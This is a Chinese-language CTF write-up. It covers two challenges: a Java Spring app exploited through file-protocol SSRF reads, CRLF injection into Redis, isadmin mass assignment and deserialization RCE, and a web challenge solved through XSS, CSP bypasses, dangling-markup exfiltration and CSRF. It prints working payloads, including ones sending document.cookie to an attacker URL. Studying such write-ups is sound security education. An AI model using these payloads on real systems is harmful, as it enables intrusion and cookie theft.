最棒的CTF就是那个能带给你东西和快乐的CTF了,共勉
show me she shell
这是一道tomato师傅出的不完整的java题,java…,java…我恨java┑( ̄Д  ̄)┍
这是一个题目一是列目录+任意文件读取,
二是垂直越权+CLRF配SSRF打redis+反序列化命令执行
题目的难度在于代码本身的不完整和java,没办法实际测试,所以只能强行阅读源码,幸运的是代码结构是spring完成的,和python的flask/django结构很强,这为我们阅读源码提供了可能。
1
整个代码中,控制器只有5个,其中
1 | index 首页 |
entity是python中类似于model的定义,其中包括了User、Post
interceptor主要负责路由以及权限设置,核心代码如下
1 | @Override |
通过request.getRequestURL获取连接,其中后缀在excludedUrls的不需要登陆,其他都需要登陆才能访问。
关于excludedUrls的设置在配置文件中
1 | <mvc:interceptors> |
mapper其中包含了部分核心函数,但只有函数定义,没有代码
service中包含了关于user操作和post操作的核心函数
utiles是一些其余的核心函数
第一个漏洞点其实比较容易发现,在user的控制器中我们可以看到关于更换头像的函数
1 | @RequestMapping(value = "/headimg.do",method = RequestMethod.GET) |
关于获取头像的地方调用了HttpReq.Download函数
1 | public static String Download(String urlString,String path){ |
这里调用URL类来获取返回
1 | URL url = new URL(urlString); |
但这之前我们需要绕过endWithImg的判断
1 | private static boolean endWithImg(String imgUrl){ |
函数比较清楚,对图片链接的结尾做了判断,也很好绕过,我们可以用形似
1 | http://11111/111.php?a=1.jpg |
就可以直接绕过判断了,这里还算比较明白,我们可以直接用file协议去读本地文件,形似file:///etc/passwd?a=1.jpg
就可以获取文件内容了。
唯一的问题是,我们如何找到flag位置了,这就涉及到一个小trick了
在java中,我们可以用file:///或netdoc:///来列目录
通过这种方式,我们可以获取到服务器上的第一个flag
2
当然这里的第一题是当时的非预期,因为这种列目录方式只在java中才有,我们回到题目继续分析。
在第一题中我们找到了一个SSRF漏洞,在第二题中,修复了headimg使用file协议读文件的漏洞,但我们可以用CRLF向Redis写入数据。
1 | headimg.do?url=http://127.0.0.1%0a%0dSET%20A%20A:6379 |
–>
1 | redis set A A |
但是有什么用呢?
让我们再回到题目代码
在managercontroller中,我们可以发现所有关于redis的操作都在这里,但这里有一个限制是要求当前用户的isadmin必须为1,但整个代码中并没有任何关于这部分的操作,所以我们顺着回顾代码中可能接触到设置isadmin的位置。
跟入注册代码controller.LoginController中,关于注册的代码如下:
1 | @RequestMapping(value = "/doregister.do",method = RequestMethod.POST) |
跟入userService.register函数
1 | public String register(User user,String repassword) { |
仔细观察我们可以发现,虽然函数中从user中获取了username和password并进入userMapper.SelectIdByUsername
验证,但在插入数据的时候仍然直接传入了user类。
这里我们看看user类的定义(这应该是类似于python中model的定义方式)
1 | public class User{ |
我们可以注意到这个函数在初始化时接受了isadmin,而在控制器中路由接收到这个参数时也没有做任何的处理,所以这里存在AutoBuilding漏洞
当我们在注册的时候,原post参数为
1 | username=test&password=test&repassword=test |
我们只要加入isadmin即可
1 | username=test&password=test&repassword=test&isadmin=1 |
我们成功给当前用户加入了管理员权限
在获得了manager权限后,我们就可以执行manager控制器下的操作了,让我们来看看代码
1 |
|
这其中有一个特殊的操作就是对于redis的操作,关于redis的代码在utils.RedisClient中
1 | public <T> void set(Integer id, T t) { |
很明显其中的getObject函数有反序列化的操作,如果我们想要通过反序列化来构造RCE的话,我们需要一个gadget.
这里tomato用了SpringAbstractBeanFactoryPointcutAdvisor
https://github.com/mbechler/marshalsec
这下思路就非常清晰了,整个利用链如下
注册->使用AutoBuilding越权登陆->使用headimg的ssrf配合crlf向redis中写入序列化数据->check.do反序列化->RCE
完整exp如下
https://gist.github.com/Tom4t0/97708be968cc3623c74ef860ae031574
h4x0rs.data
膜@l4wio,还是那句话,CTF只是安全的一种表现形式,能从CTF获得东西,那真是一种很棒的体验了。
题目条件极多,但限制很大,导致的结果就是有非常多有趣的解法,虽是非预期,但利用点却非常巧妙
题目分析
1 | Hi folks |
一个有趣的网站,其中有一些特点
网站有登陆注册(有身份权限区分,admin用户登陆会设置flag cookie?)
每个用户都有一个对应id,每次relogin这个id都会变,旧的id都会失效
这个id除了在
profile.php?id={id}
用于展示对应id,还用于like.php?id={id}
喜欢我们只能看到喜欢的人,在这里可以一直看到id,即使id变化也可以跟着变化
页面开头设置了no-referrer
1
<meta name="referrer" content="no-referrer">
页面head的最后面用过外链的方式引入js来设置csp
1
2
3
4
5
6
7<script src='https://h4x0rs.date/assets/csp.js?id=9beeb6b41c90040a4dcfa5196d1b0367560d9969f5f9151acce2d3ff54938f2d&page=profile.php'></script>
meta = document.createElement('meta');
meta.httpEquiv='Content-Security-Policy';
meta.content="script-src 'nonce-9beeb6b41c90040a4dcfa5196d1b0367560d9969f5f9151acce2d3ff54938f2d_profilephp_6df92500e3891a9b8d0b16dafa0c11b9'";
document.head.appendChild(meta);这样一来,CSP是通过引入js生效的。
profile.php页面没有任何过滤,只受到CSP限制
仔细思考上面的各种条件之后,我们起码需要完成两步,一是获取到admin的id,二是
构造xss来获取cookie。
获取id
首先我们需要找个能够获取id的地方,这里预期加上非预期有两种解法。
第一种是我当时使用的登陆跳转
当你在登陆情况下,如果访问login.php时,会跳转到redirect参数制定的位置,有趣的是,这里redirect虽然有限制,无法跳出当前域,但它却是通过拼接来构造跳转的,例如:
1 | https://h4x0rs.date/login.php?msg=Please login&redirect=profile.php |
就会跳转到
1 | https://h4x0rs.date/profile.php?id={my_id} |
但我们如果把redirect设置为
1 | profile.php?id={your_id} |
就会跳转到
1 | profile.php?id={your_id}&a={my_id} |
然后,我们在your_id对应的profile中写入标签,这里有个小tricks
用meta引入的referrer设置是可以被覆盖的
payload:
1 | </textarea><meta name="referrer" content="always"><img src={xss_url}></h3> |
通过这种方式,我们就可以拿到admin bot上的admin_id,然后like它就可以了
当然这只是我使用的方法,还有出题人的解法。
我们回顾profile.php页面的结构,当我们喜欢一个用户后,该用户就会出现在profile.php编辑页面的最下面。
在页面中,有一个很特殊的点在于,整个页面的所有标签属性都是用双引号包裹的,也就是说如果我们在profile处写入
1 | </textarea><img src='{xss_url}?a= |
那么单引号就会包裹后面的所有内容,问题在于我们如何闭合这里的单引号呢,而且chrome有一个特性,chrome会block所有请求URL中带有\n \r \t的请求。
而且在注册名字的时候会过滤左尖括号以后的字符,但我们仍然可以通过右尖括号、单引号来闭合前面的img标签。
这里我们注册
1 | test' src='{xss_url}?a= |
两个账号,并设置profile为
1 | </textarea><img a=' |
整个当前页面就会变为类似于这样的结构
1 | </textarea><img a='... |
我们可以成功获得这部分页面的内容,这种攻击方式又叫data exfiltration 数据泄露
同样的,我们也可以通过引入css的方式来获取页面内容
1 | <style> |
这种引入方式的好处在于,他不受到换行的印象,所以比前一个更容易拿到数据。
获得目标之后,我们又要回到题目本身,既然是要拿到cookie,我们就必须找到绕过CSP的方法
XSS
预期解
仔细观察加载csp的请求时,我们可以发现一个特殊的设置
1 | Cache-Control |
没错,在网站的assert目录,服务端开启了缓存
在我们在得知adminid的情况下,我们可以提前发送一次请求缓存,获取到nonceid之后,再构造xss。
整个利用链如下:
请求admin_id的js链接
1
<script src='https://h4x0rs.date/assets/csp.js?id=77e7528f65be043dee7def9a765a891488678997b946e48c39586c750fd6aee0&page=profile.php'></script>
然后解析nonce id
1
2
3
4
5
6
7
8
9
10<script>
setTimeout(()=>{
var nonce = document.head.children[2].getAttribute('content').slice(18,-1);
console.log(nonce);
var f = document.body.appendChild(document.createElement('iframe'));
f.src = 'x2.html#'+nonce;
},2000);
</script>用解析到的id构造xss
1
intro.textContent = "</textarea><script nonce="+location.hash.slice(1)+">alert(document.cookie);</scr"+"ipt>";
csrf修改当前profile.php
1
2
3
4
5
6
7
8
9
10
11
12
<form action="https://h4x0rs.date/profile.php" method=POST>
<textarea id=intro name=intro>
</textarea>
</form>
<script>
document.forms[0].submit();
</script>getflag
值得一题的是,由于id会不停的变化,所以如何动态构造payload或如何在一次请求中完成攻击是这个题原来思路最大的难点…
非预期解
在比赛结束后,@tyage在twitter公布了一个非预期解,其中利用的方式非常有意思。
在关于CSP的标准中,iframe有一个csp属性,用于设置iframe引入页面时,为页面加载设置csp
https://w3c.github.io/webappsec-csp/embedded/#csp-attribute
形似
1 | <iframe csp='...'> |
在这里我们可以注意到,csp是通过js引入meta设置的,这里就有了优先级问题,在iframe引入一个页面时为其设置了csp,首先我们需要明白的一件事情是,通过meta设置的多个CSP是会同时生效。
但浏览器解析是逐句执行的,假设我们通过iframe的csp做如下的设置
1 | test<iframe src=/profile.php?id=b0ad3eba1569915665b4452a5ca0c816a33c1d64f11d1a99fa3d1ee402aad3c8 csp="script-src 'unsafe-inline';"> |
那么profile.php这个页面首先就会存在第一个CSP unsafe-inline,这个CSP会直接作用于下面的js解析,包括通过script引入的csp.js,就会被拦截。
这样一来,当前页面的有效CSP就为unsafe-inline,我们下面插入的代码就会成立
利用链如下:
- 注册user1,设置profile内容为
1
<script>location.href='{xss_url}?a=document.cookie'</script>
- 获取该id为user1_id
- 注册user2,设置profile内容为
1
test<iframe src=/profile.php?id={user1_id} csp="script-src 'unsafe-inline';">
- 获取user2_id,然后发送给管理员
- get flag